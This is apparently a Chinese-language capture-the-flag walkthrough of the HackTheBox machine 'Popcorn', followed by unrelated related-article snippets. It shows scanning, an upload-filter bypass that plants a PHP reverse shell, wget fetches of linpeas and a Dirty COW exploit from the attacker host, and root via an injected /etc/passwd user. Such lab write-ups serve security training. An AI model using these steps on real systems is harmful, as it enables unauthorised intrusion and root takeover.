HackTheBox-Machines--Popcorn

文章目录

  • 0x01 端口扫描
  • 0x02 测试思路
    • 2.1 80端口测试
  • 0x03 /torrent 目录文件上传测试
  • 0x04 权限提升


Popcorn 测试过程

0x01 端口扫描


(base) gryphon@wsdl ~ %nmap -sC -sV 10.129.138.22
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-28 14:22 CST
Nmap scan report for 10.129.138.59
Host is up (0.32s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp   open     http        Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
2608/tcp filtered wag-service
5298/tcp filtered presence
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.61 seconds

0x02 测试思路


2.1 80端口测试

echo "10.129.138.22 popcorn.htb" | sudo tee -a /etc/hosts

  1.检查功能请求及源代码敏感信息泄漏 – 无可利用点

在这里插入图片描述

在这里插入图片描述

  2.目录扫描

(base) gryphon@wsdl gobuster %./gobuster dir -u http://popcorn.htb/ -w directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://popcorn.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 177]
/test                 (Status: 200) [Size: 47355]
/torrent              (Status: 301) [Size: 312] [--> http://popcorn.htb/torrent/]
/rename               (Status: 301) [Size: 311] [--> http://popcorn.htb/rename/]

  目录扫描发现目录/index、/test、/torrent、/rename,对目录进行访问

http://popcorn.htb/test

  phpinfo()相关信息:

在这里插入图片描述

http://popcorn.htb/rename

  用于重命名文件的 API 端点 – 暂无无可利用

在这里插入图片描述

http://popcorn.htb/torrent

  /torrent 提供了 Torrent Hoster 的一个实例,并且存在一个上传接口

在这里插入图片描述

  上传文件需要有登录权限,页面存在注册接口,注册后登录进行文件上传

在这里插入图片描述

在这里插入图片描述

0x03 /torrent 目录文件上传测试


  上传php文件后显示,This is not a valid torrent file ,尝试绕过上传文件限制无果。

在这里插入图片描述

  对/torrent目录进行模糊测试

(base) gryphon@wsdl gobuster %./gobuster dir -u http://popcorn.htb/torrent -w directory-list-2.3-medium.txt
/download             (Status: 200) [Size: 0]
/images               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/images/]
/rss                  (Status: 200) [Size: 968]
/login                (Status: 200) [Size: 8412]
/templates            (Status: 301) [Size: 322] [--> http://popcorn.htb/torrent/templates/]
/users                (Status: 301) [Size: 318] [--> http://popcorn.htb/torrent/users/]
/admin                (Status: 301) [Size: 318] [--> http://popcorn.htb/torrent/admin/]
/health               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/health/]
/browse               (Status: 200) [Size: 9320]
/comment              (Status: 200) [Size: 936]
/upload               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/upload/]
/css                  (Status: 301) [Size: 316] [--> http://popcorn.htb/torrent/css/]
/edit                 (Status: 200) [Size: 0]
/lib                  (Status: 301) [Size: 316] [--> http://popcorn.htb/torrent/lib/]
/database             (Status: 301) [Size: 321] [--> http://popcorn.htb/torrent/database/]
/secure               (Status: 200) [Size: 4]
/js                   (Status: 301) [Size: 315] [--> http://popcorn.htb/torrent/js/]
/logout               (Status: 200) [Size: 183]
/preview              (Status: 200) [Size: 28104]
/config               (Status: 200) [Size: 0]
/readme               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/readme/]
/thumbnail            (Status: 200) [Size: 1789]
/torrents             (Status: 301) [Size: 321] [--> http://popcorn.htb/torrent/torrents/]
/validator            (Status: 200) [Size: 0]

在这里插入图片描述

  th_database.sql 表发现存在用户 admin 以及 admin 用户的密码哈希,解密后密码为:admin12,但是登录失败。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  重新回到上传页面,之前上传php文件报错:This is not a valid torrent file,现在上传torrent文件,观察页面响应。

  上传了torrent文件后,页面存在一个Screenshots Edit this torrent 编辑 torrent 截图的选项

在这里插入图片描述

在这里插入图片描述

  上传.jpg文件,上传成功,使用burp更改上传文件后缀为php,响应显示上传成功

在这里插入图片描述

在这里插入图片描述

  访问 http://popcorn.htb/torrent/upload/,发现上传的 f24f4f54df51118b03f99c74416e4554ab88d22b.php 文件,开启监听,访问该php文件

在这里插入图片描述

gryphon@wsdl ~ %ncat -lnvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.138.22:36379.
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
 06:59:53 up  1:26,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("bash")'

0x04 权限提升


  1.上传linpeas.sh脚本检查可提权项目

www-data@popcorn:/tmp$ wget http://10.10.14.25:8000/linpeas.sh
wget http://10.10.14.25:8000/linpeas.sh
--2024-05-28 07:11:49--  http://10.10.14.25:8000/linpeas.sh
Connecting to 10.10.14.25:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860308 (840K) [application/x-sh]
Saving to: `linpeas.sh'

100%[======================================>] 860,308      405K/s   in 2.1s    

2024-05-28 07:11:52 (405 KB/s) - `linpeas.sh' saved [860308/860308]
www-data@popcorn:/tmp$ bash linpeas.sh
bash linpeas.sh

							   ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
                               ╚═══════════════════╝
OS: Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: popcorn
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)



Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE

_=/usr/bin/env

╔══════════╣ Searching Signature verification failed in dmesg
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed
dmesg Not Found

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: probable
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2010-3904] rds

   Details: http://www.securityfocus.com/archive/1/514379
   Exposure: probable
   Tags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},[ ubuntu=10.10|9.10 ],fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic}
   Download URL: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c

  2.脏牛提权

www-data@popcorn:/tmp$ wget http://10.10.14.25:8000/dirty.c
wget http://10.10.14.25:8000/dirty.c
--2024-05-28 08:44:21--  http://10.10.14.25:8000/dirty.c
Connecting to 10.10.14.25:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-c]
Saving to: `dirty.c'
100%[======================================>] 4,815       --.-K/s   in 0s      
2024-05-28 08:44:22 (503 MB/s) - `dirty.c' saved [4815/4815]
dirty.c: line 13: `// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):'

www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt

www-data@popcorn:/tmp$ chmod +x dirty
chmod +x dirty

www-data@popcorn:/tmp$ ./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: aqi
Complete line:
firefart:fiSU3eU26MqnA:0:0:pwned:/root:/bin/bash
......
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

www-data@popcorn:/tmp$ su firefart
su firefart
Password: aqi
firefart@popcorn:/tmp# id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@popcorn:/tmp# cat /root/root.txt
cat /root/root.txt
23092ecffb5aa34b5e83605e1ea2c267

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/665154.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用任务监听RTOS各任务的运行状态

使用rtos时内存对于单片机来说总是非常抠搜的。 任务分配多了浪费,少了跑不动。 最近看到这个监听任务还是很好用的。 废话不多说。开始操作 第一步在配置文件中打开这几个宏 #define configUSE_TRACE_FACILITY 1 /*为1时启用可视化跟踪调试*/ #define conf…

清风雅致·林曦老师的中国画美育直播课 你想了解的都在这里

大家期待已久的《清风雅致林曦老师的中国画美育直播课》开启报名啦~这个夏天,林曦老师将带你画完十幅重要的册页图,明代杜琼的《南村别墅图》。在此期间,暄桐教室除了收到了大家的“心心念念”和“满怀期待”,还有一连串“小问号”…

QT软件界面的设计与启动方法

新书上架~👇全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目录 一、Q T界面设计的重要性 二、QT软件的启动与配置 三、QT软件的启动路径设置 四、QT软件启…

[Redis]List类型

列表类型来存储多个有序的字符串,a、b、c、d、e 五个元素从左到右组成了一个有序的列表,列表中的每个字符串称为元素,一个列表最多可以存储个元素。在 Redis 中,可以对列表两端插入(push)和弹出&#xff08…

SRS介绍及环境搭建

1.SRS简介 SRS(Simple Real-Time Media Server)是一个开源的流媒体服务器,它支持多种流媒体协议,包括RTMP、WebRTC、HLS、HTTP-FLV、SRT、MPEG-DASH和GB28181等57。SRS主要应用于直播、视频会议等场景,提供实时音视频服…

Java—认识异常

1. 异常的概念与体系结构 1.1 异常的概念 在生活中,一个人表情痛苦,出于关心,可能会问:你是不是生病了,需要我陪你去看医生吗? 在程序中也是一样,程序猿是一帮办事严谨、追求完美的高科技人才…

数据结构排序算法之直接插入排序与希尔排序【图文详解】

P. S.:以下代码均在VS2019环境下测试,不代表所有编译器均可通过。 P. S.:测试代码均未展示头文件stdio.h的声明,使用时请自行添加。 博主主页:LiUEEEEE                        …

光环云携手火山引擎共推全栈AI服务,赋能千行百业智能化转型,助力新质生产力发展

5月15日,2024春季火山引擎FORCE原动力大会在北京举办。作为智算云网综合服务提供商,光环云受邀出席大会,与火山引擎共同探索大模型时代下行业发展的新趋势。 会上,光环云数据有限公司正式与火山引擎签署生态伙伴合作协议&#xf…

JAVA应用服务器如何快速定位CPU问题

如果服务器上部署了多个Java站点服务和Java微服务,并且突然接收到CPU异常告警,我们需要逐步确定是哪个服务进程造成了CPU过载,接着是哪个线程,并最终定位到是哪段代码导致了这个问题 简要步骤如下: 步骤一、找到最耗C…

汇编概论和实践

一 汇编第一例 C代码 #include <stdio.h>int main() {printf("Hello, World!\n");return 0; }对应的汇编 .LC0:.string "Hello, World!"main:pushq %rbpmovq %rsp, %rbpleaq .LC0(%rip), %rdicall puts@PLTmovl $0, %eaxpopq %rbpret 二 CPU架构…

Android 车载 Audio 中 有关系统按键无声的问题排查小结

本文简单记录一下&#xff0c;车载中系统按键音的问题排查从 App --> FrameWork --> HAL层 的问题排查。 通过日志分析&#xff1a; AudioStreamOutSink 这个有数据写入到 HAL 中&#xff08;方式一&#xff09; 查看 dump 文件。&#xff08;方式二&#xff09; 先 …

C++语言·list链表(下)

还是之前说的&#xff0c;因为要写模板&#xff0c;为了避免链接出现问题&#xff0c;我们将所有内容都写到一个文件中去。首先就是画出链表的框架 链表本身只需要一个头节点就足以找到整条链表&#xff0c;而需要它拼接的节点我们再写一个模板。而我们知道list是一个带头双向循…

[深度学习]yolov10+bytetrack+pyqt5实现目标追踪

【简介】 利用YOLOv10、ByteTrack和PyQt5实现目标追踪是一个强大的组合&#xff0c;可以为用户提供一个交互式的实时目标追踪界面。以下是一个简化版的实现思路描述&#xff1a; 首先&#xff0c;YOLOv10是一个先进的目标检测算法&#xff0c;能够准确识别视频或图像中的目标…

【自然语言处理】Transformer中的一种线性特征

相关博客 【自然语言处理】【大模型】语言模型物理学 第3.3部分&#xff1a;知识容量Scaling Laws 【自然语言处理】Transformer中的一种线性特征 【自然语言处理】【大模型】DeepSeek-V2论文解析 【自然语言处理】【大模型】BitNet&#xff1a;用1-bit Transformer训练LLM 【自…

STM32学习和实践笔记(32):电容触摸按键实验

1.电容触摸按键原理介绍 触摸按键与传统的机械按键相比&#xff0c;不仅美观而且耐用、寿命长&#xff0c;它颠覆了传统意义上的机械按键控制&#xff0c;只要轻轻触摸&#xff0c;就可以实现按键开关的控制、量化调节甚至方向控制。触摸按键已广泛应用于手机、DVD、洗衣机等消…

使用Prompt,轻松实现你的第一个全栈项目

前言 还有程序员没有应用过大模型技术吗&#xff1f;是工具也可以&#xff01;如果你还未使用过大模型技术&#xff0c;那么我劝你尽早行动&#xff0c;它会成为你开发的一大神器。如果你对大模型感兴趣&#xff0c;同时想使用大模型技术来开发产品&#xff0c;我接下来这个实…

【JavaEE】JVM中内存区域划分和类加载机制详解

一.初步了解JVM的基本 JVM 是 Java Virtual Machine 的简称&#xff0c;意为 Java虚拟机。是运行Java代码的核心部分&#xff0c;主要负责将Java字节码翻译为机器语言&#xff0c;并且提供了运行时的环境。JVM作为Java平台的一部分&#xff0c;隐藏了操作系统和硬件的差异性&am…

《SpringBoot3+Vue3实战》系列文章目录

前后端分离&#xff08;Frontend-Backend Separation&#xff09;是一种软件架构设计模式&#xff0c;它将传统的Web应用中的前端&#xff08;用户界面&#xff09;和后端&#xff08;服务器逻辑和数据存储&#xff09;从应用层面进行解耦&#xff0c;使得两者可以独立地开发、…

HTTP --tcp

TCP TCP连接 tcp/ip是全球计算机以及网络设备都在使用的一种常见的分组交换网络分层协议集&#xff0c;客户端可以打开一条tcp/ip连接&#xff0c;连接到可能运行在世界各地的服务器应用程序&#xff0c;一旦连接建立起来了&#xff0c;在客户端和服务器的计算机之间交换的报…

部署Envoy

Envoy常用术语 envoy文档官网 Life of a Request — envoy 1.31.0-dev-e543e1 documentationhttps://www.envoyproxy.io/docs/envoy/latest/intro/life_of_a_request#terminology 基础总结 &#xff08;1&#xff09;Envoy Envoy自己本身是工作在L7层的一个proxy&#xff…